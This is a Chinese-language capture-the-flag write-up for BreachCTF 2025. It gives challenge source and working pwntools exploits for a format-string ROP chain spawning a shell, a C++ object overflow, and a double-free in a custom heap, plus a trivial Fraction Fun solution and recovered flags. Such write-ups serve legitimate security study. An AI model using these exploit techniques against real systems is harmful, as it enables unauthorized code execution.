[BreachCTF 2025]
周末的这个居然一个密码都不会,作了4个pwn,给原码看着真方便
FSWn3d
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>
char buffer[152];
void win() {
int fd = memfd_create("payload", 0);
if (fd == -1) {
perror("memfd_create");
exit(1);
}
if (write(fd, buffer, 148) != 148) {
perror("write");
exit(1);
}
char *const args[] = {NULL};
char *const envp[] = {NULL};
fexecve(fd, args, envp);
perror("fexecve");
exit(1);
}
void vuln() {
char first_name[28];
char last_name[28];
void **hint =
(void **)((char *)__builtin_frame_address(0) + sizeof(void *));
printf("Enter your first name: ");
fgets(first_name, sizeof(first_name), stdin);
first_name[strcspn(first_name, "\n")] = '\0';
printf("You entered ");
printf(first_name);
printf("\n");
printf("Enter your last name: ");
fgets(last_name, sizeof(last_name), stdin);
last_name[strcspn(last_name, "\n")] = '\0';
printf("You entered ");
printf(last_name);
printf("\n");
}
int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
vuln();
return 0;
}
有两次printf漏洞但是没有循环,每次可以用第2个作个循环回来.没有libc需要泄露got表然后到网上查,这里查到是2.39-0u8.4,然后一边造循环一边写ROP
from pwn import *
context(arch='amd64', log_level='debug')
elf = ELF('./main')
libc = ELF('./libc6_2.39-0ubuntu8.4_amd64.so')
p = remote('challs.breachers.in', 1337)
#p = process('./main')
p.sendlineafter(b': ', b'%18$p %19$p %21$p ')
p.recvuntil(b"You entered ")
stack = int(p.recvuntil(b' '),16) -8
elf.address = int(p.recvuntil(b' '),16) - 0x14b5
libc.address = int(p.recvuntil(b' '),16) - 0x2a1ca
print(f"{stack = :x} {elf.address = :x} {libc.address = :x}")
#p.sendlineafter(b': ', b"%13$s \0"+p64(elf.got['setbuf']))
#p.recvuntil(b"You entered ")
call_vuln = elf.address + 0x14ab
p.sendlineafter(b': ', f"%{call_vuln&0xff}c%14$hhn".encode().ljust(16,b'\0')+p64(stack))
pop_rdi = libc.address + 0x000000000010f75b # pop rdi ; ret
bin_sh = next(libc.search(b'/bin/sh\0'))
pay = flat(pop_rdi, bin_sh, libc.sym['system'])
for i,v in enumerate(pay):
if v!=0:
p.sendlineafter(b": ", f"%{v}c%10$hhn".encode().ljust(16, b'\0')+p64(stack+8+i))
else:
p.sendlineafter(b": ", f"%10$hhn".encode().ljust(16, b'\0')+p64(stack+i))
p.sendlineafter(b': ', f"%{call_vuln&0xff}c%14$hhn".encode().ljust(16,b'\0')+p64(stack))
#gdb.attach(p, "b*0x555555555479\nc")
p.sendlineafter(b": ", b'a')
p.sendlineafter(b': ', f"%{0x7a}c%14$hhn".encode().ljust(16,b'\0')+p64(stack))
p.interactive()
Vaultability
C++的程序
#include <iostream>
using namespace std;
class Vault {
char pin[16];
public:
virtual void enterPin() {
cout << "Enter Vault PIN: ";
cin >> pin;
}
virtual void showSecurityLog() { cout << &pin << endl; }
virtual void triggerAlarm() { cout << "Security Breach Detected!" << endl; }
};
class BackupVault : public Vault {
char pin[16];
public:
void enterPin() {
cout << "Enter Backup Vault PIN: ";
cin >> pin;
}
};
void secretAccess() { system("cat flag.txt"); }
int menu(Vault *vault, Vault *backup) {
cout << "1. Enter Vault PIN" << endl;
cout << "2. View Security Log" << endl;
cout << "3. Trigger Alarm" << endl;
cout << "4. Enter Backup Vault PIN" << endl;
cout << "5. View Backup Vault Log" << endl;
cout << "6. Trigger Backup Vault Alarm" << endl;
cout << "7. Exit" << endl;
cout << "Enter your choice: ";
int choice;
cin >> choice;
switch (choice) {
case 1:
vault->enterPin();
break;
case 2:
vault->showSecurityLog();
break;
case 3:
vault->triggerAlarm();
break;
case 4:
backup->enterPin();
break;
case 5:
backup->showSecurityLog();
break;
case 6:
backup->triggerAlarm();
break;
case 7:
return 1;
default:
cout << "Invalid choice" << endl;
break;
}
return 0;
}
int main() {
Vault vault;
BackupVault backup;
while (!menu(&vault, &backup))
;
return 0;
}
在不输入直接显示的时候有个栈地址泄露.这个gdb跟进去看都看不着,只能试.
定义了一个Vault类,BackupVault继承并重写了enterBin方法(不重要).在Vault输入bin的位置有溢出,可以覆盖到BackupVault的成员指针,改写成secretAccess即可
from pwn import *
context(arch='amd64', log_level='debug')
#p = process('./main')
#gdb.attach(p, "b*0x401437\nc")
p = remote('challs.breachers.in', 1339)
p.sendlineafter(b": ",b'2')
stack = int(p.recvline(), 16)
p.sendlineafter(b": ",b'1')
p.sendlineafter(b": ", p64(0x4011f6)*3+p64(stack))
p.sendlineafter(b": ", b'4')
p.interactive()
#Breach{v74b13_c4113d_f4k3_func}
MagicVault
代码太长,略
在bss里自己模拟了个堆,并同时在free里会写前后指针, 并限制堆块建的位置最大值. 由于没清指针也没有检查链所以存在double free的情况.利用doublefree将块建在堆尾前边一点,利用固定长度的read溢出覆盖到后边的fp的vault_functions指针
from pwn import *
context(arch='amd64', log_level='debug')
def add():
p.sendlineafter(b"Your choice: ", b'4')
def free():
p.sendlineafter(b"Your choice: ", b'3')
def edit(msg):
p.sendlineafter(b"Your choice: ", b'2')
p.sendafter(b'Enter new vault note (max 128 bytes): ', msg)
def call():
p.sendlineafter(b"Your choice: ", b'5')
#p = process('./main')
p = remote('challs.breachers.in', 1341)
for i in range(8):
add()
free()
free()
edit(p64(0x4056f0))
add()
add()
edit(b'A'*0x10+flat(0x4056f0, 0x405710, 0x401330,0x401330))
call()
p.interactive()
#Breach{m4g1c_u4f_70_v4u17_c0n7r01}
Fraction Fun
import numpy as np
def execute(code, inp):
values = code.split(" ")
inp = int(inp)
a = [int(i.split("/")[0]) for i in values]
b = [int(i.split("/")[1]) for i in values]
broken = False
for _ in range(1000):
changed = False
for i in range(len(a)):
if inp % b[i] == 0:
inp = inp * a[i] // b[i]
changed = True
if not changed:
broken = True
break
if not broken:
print("Loop did not terminate in 1000 iterations!")
return inp
return inp
code = open("code.txt", "r").read()
fin_output = open("output.txt", "r").read()
code = str(code)
fin_output = int(fin_output)
while True:
try:
inp = int(input("Input your number: "))
out = execute(code, inp)
if out == int(fin_output):
print("Correct!")
print("Here is the flag: " + open("flag.txt", "r").read())
break
else:
print("Incorrect!")
except:
print("Error!")
break
需要比对的数字给了,当输入一个数,去掉指定因子后得到比对的数即可,其实这个数就没那些因子,直接输入即可.